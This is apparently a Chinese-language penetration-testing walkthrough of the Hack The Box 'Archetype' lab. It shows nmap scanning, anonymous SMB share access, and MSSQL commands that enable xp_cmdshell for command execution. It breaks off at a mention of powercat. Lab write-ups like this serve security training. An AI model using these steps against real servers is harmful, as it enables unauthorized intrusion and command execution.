[渗透测试]HTB-Archetype

0x01 信息收集

使用nmap扫描 目标
nmap -Pn -sC 10.129.61.193 //-sC 使用脚本扫描 -Pn 跳过主机发现，直接扫描端口

0x02 对445端口进行测试

Smbclient 是linux上用于连接smb服务的工具
smbclient -L // -L 列出所有共享用户

存在 backups 匿名登录
smbclient -N //10.129.61.193/backups/ 登录成功



发现数据库账号密码

0x03 对1433端口进行测试

select is_srvrolemember(‘sysadmin’)
返回了 1 说明是sa权限 可以使用拓展存储命令执行

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1 reconfigure;
xp_cmdshell "whoami"

这里需要获取一个操作系统shell更加方便我们操作

有很多种办法
powercat